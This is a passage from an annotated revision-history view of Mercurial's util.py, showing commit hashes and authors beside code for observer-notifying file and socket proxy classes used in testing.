bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
606
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
607 def readinto(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
608 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
609 'readinto', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
610 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
611
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
612 def write(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
613 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
614 'write', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
615 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
616
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
617 def detach(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
618 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
619 'detach', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
620 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
621
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
622 def read1(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
623 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
624 'read1', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
625 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
626
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
627
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
628 class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
629 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
630
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
631 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
632 bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
633 ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
634
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
635 This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
636 ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
637 ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
638 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
639
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
640 def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
641 res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
642
43103
c95b2f40db7c py3: stop normalizing 2nd argument of *attr() to unicode
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43090
diff changeset
643 fn = getattr(self._input._observer, 'osread', None)
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
644 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
645 fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
646
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
647 return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
648
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
649 # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
650 # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
651 def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
652 res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
653
43103
c95b2f40db7c py3: stop normalizing 2nd argument of *attr() to unicode
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43090
diff changeset
654 fn = getattr(self._input._observer, 'bufferedread', None)
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
655 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
656 fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
657
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
658 return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
659
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
660 def readline(self, *args, **kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
661 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
662
43103
c95b2f40db7c py3: stop normalizing 2nd argument of *attr() to unicode
Gregory Szorc <gregory.szorc@gmail.com>
parents: 43090
diff changeset
663 fn = getattr(self._input._observer, 'bufferedreadline', None)
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
664 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
665 fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
666
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
667 return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
668
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
669
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
670 PROXIED_SOCKET_METHODS = {
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
671 'makefile',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
672 'recv',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
673 'recvfrom',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
674 'recvfrom_into',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
675 'recv_into',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
676 'send',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
677 'sendall',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
678 'sendto',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
679 'setblocking',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
680 'settimeout',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
681 'gettimeout',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
682 'setsockopt',
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
683 }
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
684
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
685
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
686 class socketproxy(object):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
687 """A proxy around a socket that tells a watcher when events occur.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
688
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
689 This is like ``fileobjectproxy`` except for sockets.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
690
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
691 This type is intended to only be used for testing purposes. Think hard
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
692 before using it in important code.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
693 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
694
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
695 __slots__ = (
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
696 '_orig',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
697 '_observer',
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
698 )
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
699
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
700 def __init__(self, sock, observer):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
701 object.__setattr__(self, '_orig', sock)
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
702 object.__setattr__(self, '_observer', observer)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
703
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
704 def __getattribute__(self, name):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
705 if name in PROXIED_SOCKET_METHODS:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
706 return object.__getattribute__(self, name)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
707
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
708 return getattr(object.__getattribute__(self, '_orig'), name)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
709
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
710 def __delattr__(self, name):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
711 return delattr(object.__getattribute__(self, '_orig'), name)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
712
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
713 def __setattr__(self, name, value):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
714 return setattr(object.__getattribute__(self, '_orig'), name, value)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
715
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
716 def __nonzero__(self):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
717 return bool(object.__getattribute__(self, '_orig'))
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
718
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
719 __bool__ = __nonzero__
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
720
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
721 def _observedcall(self, name, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
722 # Call the original object.
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
723 orig = object.__getattribute__(self, '_orig')
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
724 res = getattr(orig, name)(*args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
725
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
726 # Call a method on the observer of the same name with arguments
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
727 # so it can react, log, etc.
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
728 observer = object.__getattribute__(self, '_observer')
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
729 fn = getattr(observer, name, None)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
730 if fn:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
731 fn(res, *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
732
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
733 return res
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
734
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
735 def makefile(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
736 res = object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
737 'makefile', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
738 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
739
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
740 # The file object may be used for I/O. So we turn it into a
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
741 # proxy using our observer.
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
742 observer = object.__getattribute__(self, '_observer')
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
743 return makeloggingfileobject(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
744 observer.fh,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
745 res,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
746 observer.name,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
747 reads=observer.reads,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
748 writes=observer.writes,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
749 logdata=observer.logdata,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
750 logdataapis=observer.logdataapis,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
751 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
752
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
753 def recv(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
754 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
755 'recv', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
756 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
757
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
758 def recvfrom(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
759 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
760 'recvfrom', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
761 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
762
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
763 def recvfrom_into(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
764 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
765 'recvfrom_into', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
766 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
767
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
768 def recv_into(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
769 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
770 'recv_info', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
771 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
772
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
773 def send(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
774 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
775 'send', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
776 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
777
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
778 def sendall(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
779 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
780 'sendall', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
781 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
782
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
783 def sendto(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
784 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
785 'sendto', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
786 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
787
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
788 def setblocking(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
789 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
790 'setblocking', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
791 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
792
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
793 def settimeout(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
794 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
795 'settimeout', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
796 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
797
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
798 def gettimeout(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
799 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
800 'gettimeout', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
801 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
802
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
803 def setsockopt(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
804 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
805 'setsockopt', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
806 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
807
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
808
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
809 class baseproxyobserver(object):
43920
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents: 43907
diff changeset
810 def __init__(self, fh, name, logdata, logdataapis):
4222b9d5d4fb util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
